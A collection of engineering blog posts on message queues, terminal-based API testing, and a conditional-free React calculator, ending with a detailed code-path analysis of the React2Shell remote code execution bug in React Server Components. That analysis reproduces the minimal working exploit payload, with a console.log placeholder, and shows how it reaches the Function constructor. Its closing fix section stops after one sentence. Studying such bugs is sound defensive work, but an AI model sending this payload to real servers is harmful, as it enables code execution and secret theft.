The “Everything-at-Once” Trap

It’s Black Friday. You’ve finally found that one deal you’ve been waiting for. You hit the “Buy” button and… silence. A loading spinner mocks you. You click again. And again. Suddenly, a cold “504 Gateway Timeout” appears. Behind the scenes, a frantic dev team is watching their dashboard bleed red as the database chokes under the pressure. Thousands of orders are vanishing into the void, and every second of lag translates into thousands of dollars lost. The culprit? A backend trying to do too much, too fast.

The Restaurant Dilemma

Think of your backend as a busy restaurant.

In a Synchronous world, the waiter takes your order, walks to the kitchen, and stands there staring at the chef until the steak is done. He won’t talk to other customers, refill drinks, or take new orders until your plate is ready. If the steak takes 20 minutes, the entire restaurant grinds to a halt. One slow dish, and the business goes under.

In an Asynchronous world, the waiter takes your order, pins the ticket on a board (the Queue), and immediately moves to the next table. He’s “procrastinating” the delivery to maximize his efficiency. The chef cooks at their own pace, and once the food is ready, it’s served. The restaurant stays fluid, and the customers stay happy.

The Procrastination Layer: How Queues Work
Scaling a system isn’t about doing things faster; it’s about doing them smarter. If your backend is overwhelmed, the best approach is to decouple acceptance from execution.

By introducing a Message Queue, you create a buffer between the user and the expensive operations (like database writes or third-party API calls).

1. The Producer: Your API receives the request, wraps it in a message, and sends it to the queue.
2. The Queue (The Broker): Acts as the “Procrastination Layer,” holding the work until the system is ready.
3. The Consumer: An isolated worker who lives for one purpose: pulling messages and processing them.

This setup ensures that even if your traffic spikes 10x, your API remains responsive while the consumers catch up in the background.

Benefits of Procrastinating the processing

You might be thinking: “Why add more complexity to my system?” The answer lies in how modern backends survive real-world pressure. If you are hitting scalability walls or performance bottlenecks, here is why “doing it later” is your best move:

1. User Experience

When heavy processing is offloaded to queue consumers, your API responses become blazing fast. Instead of making a user stare at a loading spinner for 10 seconds while you wait for a request to complete on a third-party service, you return an immediate success: “We’ve got your request! Check your inbox in a few minutes.”.

The user gets a snappy interface, and your system processes the job at its own pace. Everybody wins.

2. Scalability

Queues are the backbone of high-traffic systems. They act as a buffer. During a traffic spike, your database doesn’t have to die; your queue just gets a bit longer. If the backlog grows too fast? No problem. You can horizontally scale your workers — adding more consumers to burn through the messages — without touching your main API logic.

3. Resilience

Third-party services (like Stripe, SendGrid, or Twilio) fail all the time. In a synchronous world, their failure is your failure. In a queued world, it’s just a delay.

If a service is down, the message stays in the queue (or moves to a Dead Letter Queue) to be retried later. You can even combine this with a Circuit Breaker pattern to stop hitting a failing service, preventing a total system collapse.

Bonus: Dead-Letter Queues

In the real world, procrastination sometimes leads to forgotten tasks. In a message queue, some tasks are simply impossible to finish.

Maybe a user provided a corrupted PDF, or a specific database record was deleted before the worker could update it. If your worker tries to process a “bad” message, it fails, returns the message to the queue, and tries again… forever. This is what we call a Poison Pill. It clogs your system and wastes CPU cycles on a task that will never succeed.

A Dead-Letter Queue (DLQ) is a specialized queue where “unprocessable” messages go to die or wait for a human to intervene.

• How it works: You set a Retry Policy (e.g., “try 3 times”). If the message fails after the 3rd attempt, the system “procrastinates” it indefinitely by moving it to the DLQ.
• The Benefit: Your main queue stays clean and keeps flowing. You don’t lose the data; you just move it to a side-desk for investigation.
• Pro-Tip: Always monitor your DLQ. A growing DLQ is a smoke signal that something is wrong with your business logic or a third-party integration.

Imagine the waiter finally comes back with that steak, but the customer is gone. The table is empty. The waiter can’t stand there holding a hot plate forever; he’s got other tables to serve!

Instead of throwing the food away immediately or standing there blocking the kitchen entrance, he takes the plate to the Manager’s Desk. There, the manager can look at the receipt, figure out what went wrong, and decide if they should wait for the customer to come back or just discard the meal.

Conclusion: Procrastinate Like a Pro

Procrastination isn’t always a bad habit; sometimes, it’s exactly what saves your system from going down. By embracing asynchrony and message queues, you’re not just delaying work; you’re building a system that is elastic, resilient, and incredibly fast for the user.

System design is often about knowing what is urgent and what can wait.

So, next time your backend is overwhelmed, don’t try to do it all now. Put it in a queue, and do it later.

Procrastination as a Service: A Guide to Message Queues was originally published in ProFUSION Engineering on Medium, where people are continuing the conversation by highlighting and responding to this story.

It is a truth universally acknowledged, that a programmer in possession of a good API, must be in want of a convenient means to test it. Yet, in this age of graphical interfaces and mouse-driven endeavors, one might find oneself yearning for the elegance of the command line.

Postman is the industry standard, but has several disadvantages:

• It is a bloated electron app.
• You have to login.
• It is paid. (Do you really wanna pay for a curl wrapper written in electron?).
• You have to login.
• You can share collections as a json, but it is not GIT friendly (have you tried putting one in a Git repo? Welcome to conflict hell).
• And did I mention that you have to login? TO DO A SIMPLE HTTP REQUEST? Is this a joke? I understand that they have a skip button for the login, but the mere presence of a login screen for doing http requests is already a crime.

Ok, I understand that some of you really like a GUI and don’t want to use the scary black window with text. In that case, just use Bruno please. The UI is the same as Postman but it is git friendly, open source, scriptable, and it doesn’t push you through a login screen.

But this article is not about Bruno, it is an opportunity for us to explore our creativity showcasing how someone can build a nice alternative to Postman.

And aside from creativity, there are several advantages of using terminal based tools for API testing:

• Simplicity: Everything is just text files, no need to deal with complex UI.
• Automation Ready: These scripts can be integrated into CI/CD pipelines, ensuring that our APIs are always in tip-top shape.
• Flexible: Since we are using the command line, we can mix as many technologies as we need. Wanna use curl or javascript, you can.
• Ready for Realistic Scenarios: The flexibility allows us to simulate entire flows with authentication, and any other pre-work needed.
• Lightweight: No need to have electron apps running in your computer consuming resources.
• Customizable: Tailor your scripts to your specific needs.
• Git Friendly: Easy to share and collaborate on your request scripts using version control systems. No need to ask for extra access to your coworkers.
• Limitless: Since you are in the scripting area now, you can do anything that you can imagine, your imagination is the limit.
• Vibe Coding Friendly: We are all vibe coders now, you can already use your current AI tools without needing to pay an extra for a "premium AI feature".

Tools that we can use.

This is a journey of discovery and exploration, not just a tutorial to be followed (but feel free to follow if you want), this is just to give you some ideas on how to build your own solution based on your own tastes. But to showcase the possibilities, here are the tools that I used to build this example:

• curl: The classic of the classics, pretty much every unix-based system has it pre-installed, more at https://curl.se
• Bun: A very fast JavaScript runtime, it is fast and fast, have I mentioned it is fast? Get it at https://bun.sh
• Hurl: A command-line tool written in rust for HTTP requests, available at https://hurl.dev
• HTTPie: A most amiable version of curl, dwelling at https://httpie.io
• fzf: It is just great to quickly find your files and extend for nice scripts. https://github.com/junegunn/fzf

To be honest, I would probably not mix that many tools in a real project, but we are here to have fun and explore.

Building our Mock Cake API

First, we need an API to test, let’s use Bun to build a simple mock server, but you can use anything that you like. Even a real API like the commonly used Pokemon API for tutorials. But I like cakes, so I’m building the Cake API, so we can manage our Cake Inventory. It will be some very simple bun endpoints that return static data.

Login

Endpoint

Since I complained so much about Postman requiring a login, let’s start building a login endpoint that returns a token. Let’s get very simple, just a simple endpoint that returns a hardcoded secret token.

Bun.serve({
  port: 3000,
  fetch(req) {
    const url = new URL(req.url)

    // Login endpoint
    if (req.method === 'POST' && url.pathname === '/api/login') {
      return Response.json({ token: 'very-secret-token' })
    }

    return new Response('Not Found', { status: 404 })
  }
})

Just run this server and we are ready for our requests.

Request (with curl)

Now for login, let’s start with the OG request client, the mighty curl, pretty much everybody has used or will use in their life. It is the bread and butter of HTTP requests.

Let’s create a simple script that does more than hit that endpoint, it uses jq to extract a token from that response and feed an Environment Variable for use in the next requests.

#!/bin/bash
# Login to get token
RESPONSE=$(curl -s -X POST http://localhost:3000/api/login)
echo "Login response: $RESPONSE"
TOKEN=$(echo $RESPONSE | jq -r '.token')
export TOKEN
echo "Token obtained: $TOKEN"

And since it is just a file, we can use the power of the directories to organize our requests, lets place it inside a cake-api/requests/login/run.sh

Creation

Now we need to feed out API with cakes, but not anybody can create cakes, so let’s make a protected endpoint that requires that token.

Endpoint

    function validateUserAuth(req) {
      const auth = req.headers.get('authorization')
      if (!auth || !auth.startsWith('Bearer ')) {
        return new Response(null, { status: 401 })
      }
      return null
    }

    // Protected create endpoint
    if (req.method === 'POST' && url.pathname === '/api/cakes') {
      const authResponse = validateUserAuth(req)
      if (authResponse) return authResponse
      return req.json().then(body => {
        return Response.json({ id: 3, ...body }, { status: 201 })
      })
    }

Request (with Hurl)

For this, we will have two files, one for the request itself and another bash script to run it. With this approach, we make our test suite flexible in a way that is possible to use any language or technology to test the requests.

touch ./cake-api/requests/create/create.hurl

Now we use our Hurl file, look at how clean and simple the syntax is:

POST {{host}}/api/cakes
Authorization: Bearer {{token}}
Content-Type: application/json
{"name": "Strawberry Cake", "price": 28.99}
HTTP 201
[Asserts]
jsonpath "$.id" exists
jsonpath "$.name" == "Strawberry Cake"
jsonpath "$.price" == 28.99

And you see those Asserts? Those are validations that Hurl will do for us, so we can be sure that our API is returning what we expect. Nice and easy.

And for the bash script, we can use:

#!/bin/bash
# Create a new cake using hurl
cd "$(dirname "$0")"
hurl --test \
  --variable token=$TOKEN \
  create.hurl

Reading

Now that we created it, we shall be able to read our cake data. Let’s mock our reading endpoint here, just a standard response:

Endpoint

    // Read endpoint
    if (req.method === 'GET' && url.pathname === '/api/cakes') {
      const authResponse = validateUserAuth(req)
      if (authResponse) return authResponse
      return Response.json([
        { id: 1, name: 'Chocolate Cake', price: 25.99 },
        { id: 2, name: 'Vanilla Cake', price: 22.99 }
      ])
    }

Request (with HTTPie)

Now actually performing the reading of the API we will use HTTPie, an extremely amiable http client, it is like curl but sweeter. Let’s use it to read our cakes.

touch ./cake-api/requests/read/run.sh

And just add this simple HTTPie command:

http GET http://localhost:3000/api/cakes Authorization:"Bearer $TOKEN"

This retrieves the list of cakes, fortified with authentication, as befits a protected display.

Updating

The only constant in life is change, so for that we also need an update endpoint:

Endpoint

    // Update endpoint
    if (req.method === 'PUT' && url.pathname.startsWith('/api/cakes/')) {
      const authResponse = validateUserAuth(req)
      if (authResponse) return authResponse
      const id = url.pathname.split('/').pop()
      return req.json().then(body => {
        return Response.json({ id: Number(id), ...body })
      })
    }

Request (With the good old JavaScript)

Sometimes, you may want to wield the full power of a programming language. Here, we employ Bun’s native fetch in a TypeScript script to amend a cake’s details. You can really use any language that you want here, python, ocaml, ruby, go, rust, etc.

touch ./cake-api/requests/update/request.ts

const response = await fetch('http://localhost:3000/api/cakes/1', {
  method: 'PUT',
  headers: {
    'Authorization': `Bearer ${process.env.TOKEN}`,
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({ name: 'Updated Chocolate Cake', price: 26.99 })
})

if (response.ok) {
  const data = await response.json()
  console.log('Updated cake:', data)
} else {
  console.log('Error:', response.status)
}

Deletion

You know what. I could show you another tool, another script written in something else, like C, Perl or Haskell. But I think you got the idea by now, and I encourage you to go ahead and write your own solution for the delete operation. Get creative!

Dispatching Our Requests

There is not much secret here, since we are just creating bash scripts, you could just use your terminal to run them with something like:

./cake-api/requests/login/run.sh && ./cake-api/requests/create/run.sh

That way you would test the protected endpoint.

The Interactive Selection (employing fzf)

You know, you could be running any request with something like:

./cake-api/requests/login/run.sh && ./<insert-your-script-here>

Nah, that is boring, and not the best Developer Experience. So let’s spice it up a bit…

Have you ever heard of fzf? NO? But you should. Fzf is like potatoes, it is one of those things that you can’t live without once you try it. It is flexible, it goes along with anything, and it is just great. I would highly suggest you get acquainted with it.

But for now, let’s use it to create a simple script that allows us to select which request to run interactively.

touch ./cake-api/delivery.sh

And use a simple script like this one:

#!/bin/bash

run_scripts=($(find requests/ -name run.sh -type f))

selected=$(printf '%s\n' "${run_scripts[@]}" | fzf --prompt="Select run.sh: " --height=10 --border)

if [ -n "$selected" ]; then
    echo "Running login to get token..."
    source requests/login/run.sh
    echo "Running $selected..."
    ./$selected
else
    echo "No script selected."
fi

It will allow you to run any request script interactively, while taking care of the login for you. That’s so cool, you can select both with your keyboard or by typing the name of the request that you want with fuzzy search. And BAM, it is there:

See? We even get an interactive interface with this small script, pretty awesome.

A boring conclusion.

What a journey. Hope you had as much fun reading this article as I had writing it. You see, there are plenty of tools out there to test your API, and when you get creative, the sky is the limit. The advantages are endless, you can add to your CI, it is lightweight, git friendly, LLM friendly, flexible, fun, reusable and so much more. So, next time you think about using Postman, just remember: you have the power of the terminal at your fingertips. Embrace it, and let your creativity fly!

Drop the Mailman. Embrace the Terminal. was originally published in ProFUSION Engineering on Medium, where people are continuing the conversation by highlighting and responding to this story.

Recently, I took on a constraint-based challenge: Build a project without using a single if statement, else block, switch case, or ternary operator (? :).

It sounds annoying, but it turns out to be a good class in Polymorphism.

Here is how I went through the “No-If” challenge.

The Philosophy: Boolean Logic is Just a Key

Normally, we think of logic as branching paths:

If X is true, go left. Else, go right.

In a predicate-free world, we have to change our mental model to:

There is a map of all possible destinations. X is just the key to the address we want.

We replace Control Flow with Data Lookup.

1. Replacing switch with the Strategy Pattern

The most obvious candidate for replacement was the math logic. Usually, a calculator has a big switch statement for operations.

The Old Way:

switch(operation) {
  case '+': return a + b;
  case '-': return a - b;
  // ...
}

The No-If Way:

We define an object (a dictionary) where the keys are the operator symbols, and the values are the functions themselves.

type OperationFn = (a: number, b: number) => number;

const Operations: Record<string, OperationFn> = {
  '+': (a, b) => a + b,
  '-': (a, b) => a - b,
  '×': (a, b) => a * b,
  '÷': (a, b) => a / b, // Infinity handles div by zero naturally
  '': (_a, b) => b,     // Default: just return the new number
};

Now, execution is just a lookup: Operations[op](a, b). No decision making, just fetching.

2. Replacing if/else with Boolean String Lookups

This was the trickiest part. How do you handle something like this without an if?

// Traditional logic
if (currentValue === '0') {
  replaceValue(input);
} else {
  appendValue(input);
}

My solution was to convert the boolean condition into a string key (‘true’ or ‘false’) and use that key to look up the next step in a configuration object.

The No-If Way:

// Define strategies for appending numbers
const AppendStrategies: Record<string, (curr: string, input: string) => string> = {
  '0': (_curr, input) => input,       // Replace '0'
  'default': (curr, input) => curr + input, // Append otherwise
};

const handleNumber = (state: CalcState, value: string): CalcState => {
  // 1. Convert condition to a string key
  const isZero = String(state.current === '0'); 
  
  // 2. Map 'true'/'false' to specific strategy keys
  const keyMap: Record<string, string> = { 'true': '0', 'false': 'default' };
  const strategyKey = keyMap[isZero];

  // 3. Execute
  const strategy = AppendStrategies[state.current] || AppendStrategies[strategyKey];
  
  return { ...state, current: strategy(state.current, value) };
};

3. Handling “Null” with Short-Circuiting

The only operator allowed that resembles logic is the logical OR (||). In this project, it acts as the Null Object Pattern.

If a lookup fails (returns undefined), || provides the fallback strategy immediately.

// If the user clicks a special key like 'sin' that we haven't defined, 
// fallback to a dummy function (s) => s that does nothing.
const onSpecialClick = (action: string) => 
  setState(prev => (SpecialActions[action] || ((s) => s))(prev));

The Result: Fully Declarative Code

The resulting code is interesting, since it reads less like a set of instructions and more like a set of definitions.

Here is the complete code for the calculator.

import React, { useState } from 'react';
import { Moon, Sun, Delete, Calculator, History } from 'lucide-react';

// --- TYPES ---
type CalcState = {
  current: string;
  previous: string;
  operation: string;
  history: string[];
  theme: 'light' | 'dark';
};

type OperationFn = (a: number, b: number) => number;

// --- STRATEGIES ---
const Operations: Record<string, OperationFn> = {
  '+': (a, b) => a + b,
  '-': (a, b) => a - b,
  '×': (a, b) => a * b,
  '÷': (a, b) => a / b,
  '': (_a, b) => b,
};

const AppendStrategies: Record<string, (curr: string, input: string) => string> = {
  '0': (_curr, input) => input,
  'default': (curr, input) => curr + input,
  'Error': (_curr, _input) => 'Error',
  'Infinity': (_curr, _input) => 'Infinity',
};

const DecimalStrategies: Record<string, (curr: string) => string> = {
  'true': (curr) => curr,
  'false': (curr) => curr + '.',
};

// --- CORE LOGIC ---
const calculateResult = (prev: string, curr: string, op: string): string => {
  const a = parseFloat(prev);
  const b = parseFloat(curr);
  const strategy = Operations[op] || Operations[''];
  const result = strategy(a, b);
  return String(Math.round(result * 100000000) / 100000000);
};

// --- ACTION HANDLERS ---
const handleNumber = (state: CalcState, value: string): CalcState => {
  const isZero = String(state.current === '0');
  const keyMap: Record<string, string> = { 'true': '0', 'false': 'default' };
  const strategyKey = keyMap[isZero];
  const strategy = AppendStrategies[state.current] || AppendStrategies[strategyKey];
  
  return { ...state, current: strategy(state.current, value) };
};

const handleDecimal = (state: CalcState): CalcState => {
  const hasDot = String(state.current.includes('.'));
  const strategy = DecimalStrategies[hasDot];
  return { ...state, current: strategy(state.current) };
};

const handleOperator = (state: CalcState, value: string): CalcState => {
  const shouldCalculate = String(state.previous !== '' && state.operation !== '');
  
  const nextPrevLookup: Record<string, string> = {
    'true': calculateResult(state.previous, state.current, state.operation),
    'false': state.current
  };

  return {
    ...state,
    previous: nextPrevLookup[shouldCalculate],
    current: '0',
    operation: value
  };
};

const handleEquals = (state: CalcState): CalcState => {
  const result = calculateResult(state.previous, state.current, state.operation);
  return {
    ...state,
    current: result,
    previous: '',
    operation: '',
    history: [`${state.previous} ${state.operation} ${state.current} = ${result}`, ...state.history].slice(0, 5)
  };
};

// --- COMPONENT ---
export default function PredicateFreeCalculator() {
  const [state, setState] = useState<CalcState>({
    current: '0', previous: '', operation: '', history: [], theme: 'dark'
  });

  const ThemeToggle = { 'light': 'dark', 'dark': 'light' } as const;
  
  const containerClasses = {
    'light': 'bg-gray-100 text-gray-900',
    'dark': 'bg-slate-900 text-white'
  };

  return (
    <div className={`min-h-screen w-full flex items-center justify-center ${containerClasses[state.theme]}`}>
      <div className="w-full max-w-sm p-6">
        {/* UI Implementation... */}
        <div className="text-5xl font-bold text-right mb-6">{state.current}</div>
        
        <div className="grid grid-cols-4 gap-3">
          <button onClick={() => setState(handleNumber(state, '7'))}>7</button>
          <button onClick={() => setState(handleNumber(state, '8'))}>8</button>
          <button onClick={() => setState(handleNumber(state, '9'))}>9</button>
          <button onClick={() => setState(handleOperator(state, '×'))}>×</button>
          {/* ... Rest of Keypad ... */}
        </div>
      </div>
    </div>
  );
}

Conclusion

Is this the most efficient way to write a calculator? Probably not. It creates a lot of small objects and strings.

However, it is an excellent exercise in abstraction. By forcing yourself to remove control structures, you are forced to rely on data structures. You stop writing “procedures” and start writing “maps.”

Next time you find yourself writing a nested if/else block, ask yourself: Could this just be a map?

The “No-If” Challenge: Building a Calculator Without a Single Conditional Statement was originally published in ProFUSION Engineering on Medium, where people are continuing the conversation by highlighting and responding to this story.

Guillermo Rauch (Vercel’s CEO) posted a very nice article explaining the React2Shell exploit (CVE-2025–55182).

The bug was discovered by Lachlan Davidson. While you can see it’s easy to trigger why it happens is not trivial, so kudos to Lachlan for his ingenious work to exploit it! 👏

But I wanted to know more about it, to understand exactly the code paths, so I looked at the patch fixing it, at the final v19.0.1 patched version and the original (buggy) code v19.0.0 which I use as the base to explain the details below.

Investigation: why the bug happens?

Let’s start with the minimum viable exploit from @maple3142:

{
  0: {
    status: "resolved_model",
    reason: 0,
    _response: {
      _prefix: "console.log('☠️')//",
      _formData: {
        get: "$1:then:constructor",
      },
    },
    then: "$1:then",
    value: '{"then":"$B"}',
  },
  1: "$@0",
}

This payload is handled by one of the React Server Components (RSC) packages such as react-server-dom-esm, react-server-dom-turbopack or react-server-dom-webpack. They handle the bus messages from decodeReplyFromBusboy() which will add event listeners that calls resolveField() (imported from the same react-server/src/ReactFlightServer) asynchronously (later, not immediately) and it ends returning getRoot(response), which is a simple wrapper on top of getChunk(response, 0) that returns a Promise-like object. See decodeReplyFromBusboy() from react-server-dom-esm for a concrete example.

Note that getChunk(response, 0) is called BEFORE any field events were dispatched, so it just calls createPendingChunk() and the PendingChunk is stored in response._chunks.set(0, chunk0).

The caller of decodeReplyFromBusboy() will get this chunk0 and will wait for this promise with chunk0.then(resolve, reject), that is implemented as Chunk.prototype.then, to register the given resolve and reject callbacks in the arrays chunk.value and chunk.reason, respectively. (It's confusing, but React does overload the value and reason depending on the chunk status).

When the field events are later dispatched and they call the function resolveField(), in addition to response._formData.append(key, value) it will notice that response._chunks.get(0) exits, then it will call resolveModelChunk() on chunk0.

The function resolveModelChunk(), will convert the chunk0 from PendingChunk to ResolvedModelChunk. It does this by first storing the arrays of listeners for resolve and reject (value and reason respectively) in local variables (resolveListeners and rejectListeners), then changing status = 'resolved_model', value (given to resolveField()) and reason (before the patch it was the chunk id, after patch fixing the exploit it is now an object with the id and the response -- at the end of this investigation you'll notice why this change was required).

Since we explained above that chunk0.then(resolve) registers the resolve function in the chunk.value array (now resolveListeners), inside resolveModelChunk() we have a non-null resolveListeners, then it will call initializeModelChunk() followed by wakeChunkIfInitialized().

The function initializeModelChunk() calls JSON.parse(chunk.value) (some people are pointing to it as the reason, but it's safe!) to get rawModel and then reviveModel() on it. There is where the problem starts.

Let’s recap what the server just did:

// from the RSC field event handler
resolveField(response, '0', `{
  status: "resolved_model",
  reason: 0,
  _response: {
    _prefix: "console.log('☠️')//",
    _formData: {
      get: "$1:then:constructor",
    },
  },
  then: "$1:then",
  value: '{"then":"$B"}',
}`);

// resolveField calls:
resolveModelChunk(chunk, `{
  status: "resolved_model",
  reason: 0,
  _response: {
    _prefix: "console.log('☠️')//",
    _formData: {
      get: "$1:then:constructor",
    },
  },
  then: "$1:then",
  value: '{"then":"$B"}',
}`, 0);

// resolveModelChunk calls:
resolvedChunk.value = `{
  status: "resolved_model",
  reason: 0,
  _response: {
    _prefix: "console.log('☠️')//",
    _formData: {
      get: "$1:then:constructor",
    },
  },
  then: "$1:then",
  value: '{"then":"$B"}',
}`;
initializeModelChunk(resolvedChunk);

// initializeModelChunk calls:
const rawModel = JSON.parse(`{
  status: "resolved_model",
  reason: 0,
  _response: {
    _prefix: "console.log('☠️')//",
    _formData: {
      get: "$1:then:constructor",
    },
  },
  then: "$1:then",
  value: '{"then":"$B"}',
}`);
const value = reviveModel(
  chunk._response,
  {'': rawModel}, // parent object
  '', // parent key
  rawModel, // value: { status: 'resolved_model', ..., _response: ... }
  '0', // root reference
);

// reviveModel recursively revive every field:
if (typeof value === 'object' && value !== null) {
  // ...
  for (const key in value) { // value: { status: 'resolved_model', ..., _response: ... }
    // ...
    const newValue = reviveModel(/* ... */)

As seen above, inside the function reviveModel it will receive an object, in this case it will recursively revive all fields.

So at some point _response._formData.get will be revived, since it's a string "$1:then:constructor", it will call parseModelString().

This function checks if the first character is $ and it is, but none of the other modifiers apply, so it goes straight to getOutlinedModel() where the remaining reference is split, returning: ["1", "then", "constructor"], so it will access the chunk id 1 by calling getChunk(response, 1).

Since we called getChunk(response, 1) and it did not exist yet, as seen before it will call createPendingChunk() and register response._chunks.set(0, chunk1). Since chunk (here on called chunk1) is a PendingChunk (status is PENDING), it will wait for the promise fulfillment with chunk1.then(createModelResolver(...)). That is: chunk1.value now contains an array with the result of createModelResolver() using chunk as chunk0, so once 1 resolves it will wake-up/continue the resolution of 0.

This is the same for the field then, since it references "$1:then". The same chunk1 is reused, it will just add the given resolve listener to the chunk1.value array, which will have 2 elements at this point.

Calling createModelResolver() will set initializingChunkBlockedModel, which used by the caller (initializeModelChunk()) to convert the chunk being resolved (chunk0) into BlockedChunk.

The createModelResolver() returns a resolver function (to be later called by Promise.then). Once the resolver function is called, it will access the now-resolved value object using path (ie: ["then", "constructor"] will result in value["then"]["constructor"]), then convert chunk (chunk0) from BlockedChunk into InitializedChunk (fulfilled) and then wakeChunk(), that will call all the listeners using wakeChunk().

The listeners, at this point, are the two pending resolvers for fields _response._formData.get: "$1:then:constructor" and then: "$1:then".

The initializeModelChunk() for key 0 will end restoring the previous initializingChunkBlockedModel, that was null.

As seen above for the root (0) key, once the field 1 is received by resolveField(), it will call resolveModelChunk() which will call initializeModelChunk() which calls reviveModel(). Let's illustrate this:

// from the RSC field event handler
resolveField(response, '1', `"$@0"`);

// resolveField calls:
resolveModelChunk(chunk, `"$@0"`, 1);

// resolveModelChunk calls:
resolvedChunk.value = `"$@0"`;
initializeModelChunk(resolvedChunk);

// initializeModelChunk calls:
const rawModel = JSON.parse(`"$@0"`);
const value = reviveModel(
  chunk._response,
  {'': rawModel}, // parent object
  '', // parent key
  rawModel, // value: "$@0"
  '1', // root reference
);

// reviveModel calls:
parseModelString(response, {'': rawModel}, '', '$@0', '1');

// parseModelString is:
if (value[0] === '$') {
  switch (value[1]) {
    // ...
    case '@': {
      // Promise
      const id = parseInt(value.slice(2), 16); // 0
      const chunk = getChunk(response, id); // chunk0
      return chunk;

// back to initializeModelChunk:
const value = chunk0; // not chunk0.value
if (
  initializingChunkBlockedModel !== null &&
  initializingChunkBlockedModel.deps > 0
) {
  // not this case
} else {
  const resolveListeners = cyclicChunk.value;
  const initializedChunk: InitializedChunk<T> = (chunk: any); // chunk1
  initializedChunk.status = INITIALIZED; // chunk1.status = INITIALIZED
  initializedChunk.value = value; // chunk1.value = chunk0, not chunk0.value
  if (resolveListeners !== null) { // we had 2 listeners for "$1:then:constructor" and "$1:then"
    wakeChunk(resolveListeners, value);
  }
}

Here reviveModel() will identify value is a string ("$@0") and call parseModelString() on it. It will parse this as a reference ('$') to a promise ('@') pointing to id: 0. Then it will call getChunk(response, 0), which returns the first chunk (chunk0), which is now in a blocked state (BlockedChunk).

Back to initializeModelChunk() execution for the field 1, value will be the chunk0 (now BlockedChunk).

However initializingChunkBlockedModel wasn't set, then chunk1 considered INITIALIZED (fulfilled), which converts the chunk1 from PendingChunk into InitializedChunk, with the value being a promise (chunk0).

Then it will wakeChunk(resolveListeners, value), which will go and call listener(value) for each listener in the array.

We had two listeners for chunk1, both created with createModelResolver(), one is awaiting to resolve ["1", "then", "constructor"] and another to resolve ["1", "then"]. Once they are called they will change the value stored in key 0, effectively materializing the fields to their final values. After all the 2 dependencies are called, then blocked.deps === 0 and it will wakeChunk() the dependencies of chunk0. Let's illustrate it:

// the original initializeModelChunk() for key 0
const rawModel = JSON.parse(`{
  status: "resolved_model",
  reason: 0,
  _response: {
    _prefix: "console.log('☠️')//",
    _formData: {
      get: "$1:then:constructor",
    },
  },
  then: "$1:then",
  value: '{"then":"$B"}',
}`);
const value = reviveModel(
  chunk._response,
  {'': rawModel}, // parent object
  '', // parent key
  rawModel, // value: { status: 'resolved_model', ..., _response: ... }
  '0', // root reference
);

// after reviveModel(), value is:
const value = {
  status: "resolved_model",
  reason: 0,
  _response: {
    _prefix: "console.log('☠️')//",
    _formData: {
      get: Function, // see below
    },
  },
  then: chunk0.then, // points to the promise then method
  value: '{"then":"$B"}',
}

The field _response._formData.get is the result of calling chunk0['then']['constructor'], which happens by calling createModelResolver() with path ["1", "then", "constructor"]:

// createModelResolver, the returned model resolver function
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];
}

A function constructor is always Function and whatever code you give to it, it will evaluate that code once the returned function handler is called. Using NodeJS REPL mode:

> Promise.resolve(1).then.constructor
[Function: Function]
> const f = Promise.resolve(1).then.constructor("console.log('☠️')")
undefined
> f()
☠️
undefined

So whenever _response._formData.get(code) is called, it will execute the code, which may do anything. In Guillermo's article it's a harmless console.log('☠️'), but malicious users are using it to steal secrets (ie: process.env) and even download and run malware, including bitcoin miners, spam farms and so on.

But how is it called with malicious code?

Here comes the cyclical dependency of promises to trick React Flight into using the user object as an internal one: Chunk.

We’re in the initializeModelChunk() for key 0 (root), we now have the value as per above, we convert chunk0 to InitializedChunk and we'll call all the pending resolveListeners, which is an array with the listener added with Chunk.prototype.then() by the caller of decodeReplyFromBusboy(). At this point, in the buggy version, we call wakeChunk(resolveListeners, value).

Since value has a then function, whenever calling resolve(valueWithThenField), being resolve the first callback function when you new Promise((resolve, reject) => {}), due JavaScript's "duck typing", it will await value to chain the promises. Await translates to the following:

// `await value` becomes
return new Promise((resolve, reject) => {
  value.then.call(value, resolve, reject); // or .apply(), with this being `value`
});

You can validate this behavior using Promise.resolve():

function t(resolve, reject) {
  console.log('t:', this, resolve, reject);
  resolve(1);
}

// Notice `this` is { then: t, MyObjectMarker: 1 }
await Promise.resolve({ then: t, MyObjectMarker: 42 })
// logs: t: { then: [Function: t], MyObjectMarker: 42 } [Function (anonymous)] [Function (anonymous)]

So we’re calling value.then, as we saw that is chunk0.then, which is Chunk.prototype.then.

Pay close attention to this being replaced with the given value, effectively we're calling Chunk.prototype.then with this being chunk0.value, NOT chunk0 itself! Note that the chunk0.value is in the same shape as a ResolvedChunk:

{
  status: "resolved_model",
  reason: 0,
  _response: {
    _prefix: "console.log('☠️')//",
    _formData: {
      get: Function, // see below
    },
  },
  then: chunk0.then, // points to the promise then()
  value: '{"then":"$B"}',
}

Look into Chunk.prototype.then: it checks if status is RESOLVED_MODEL ("resolved_model") to call initializeModelChunk(), which will try to revive the model value '{"then":"$B"}' using chunk._response, which is user defined ⚠️ and careful crafted so _response._formData.get is Function. So all that is left is to call _response._formData.get with malicious code. Let's illustrate that:

// Chunk.prototype.then: this is chunk0.value:
switch (chunk.status) {
  case RESOLVED_MODEL:
    initializeModelChunk({
      status: "resolved_model",
      reason: 0,
      _response: {
        _prefix: "console.log('☠️')//",
        _formData: {
          get: Function, // see below
        },
      },
      then: chunk0.then, // points to the promise then()
      value: '{"then":"$B"}',
    });
    break;
}

// initializeModelChunk calls:
const rawModel = JSON.parse('{"then":"$B"}');
const value: T = reviveModel(
  chunk._response, // _formData.get is Function!
  {'': rawModel},
  '',
  rawModel, // { then: '$B' }
  rootReference,
);

// reviveModel() recursively calls, will go revive "$B"
parseModelString(
  chunk._response, // _formData.get is Function!
  ...,
  '$B',
);

// parseModelString() for '$B'
case 'B': {
  const id = parseInt(value.slice(2), 16); // NaN, "$B".slice(2) is ""
  const prefix = response._prefix; // "console.log('☠️')//"
  const blobKey = prefix + id; // "console.log('☠️')//NaN"
  const backingEntry: Blob = (response._formData.get(blobKey): any); // Function("console.log('☠️')//NaN")
  return backingEntry;
}

// back to initializeModelChunk() we end with revived value:
const value = { then: Function("console.log('☠️')//NaN") };

As one can see, the id is added after prefix, so we must end our injected code (_response._prefix) with a comment (//) in order to ignore it, or it would break with a SyntaxError exception.

As before, it’s converted from ResolvedModelChunk to InitializedChunk and wakeChunk(resolveListeners, value) with that value.

As we saw, whenever you return an object with a then function, it will be called, effectively running the malicious code.

Understanding the Fix

While the patch adds more robustness, it’s core is to avoid an user object being handled as an internal object.

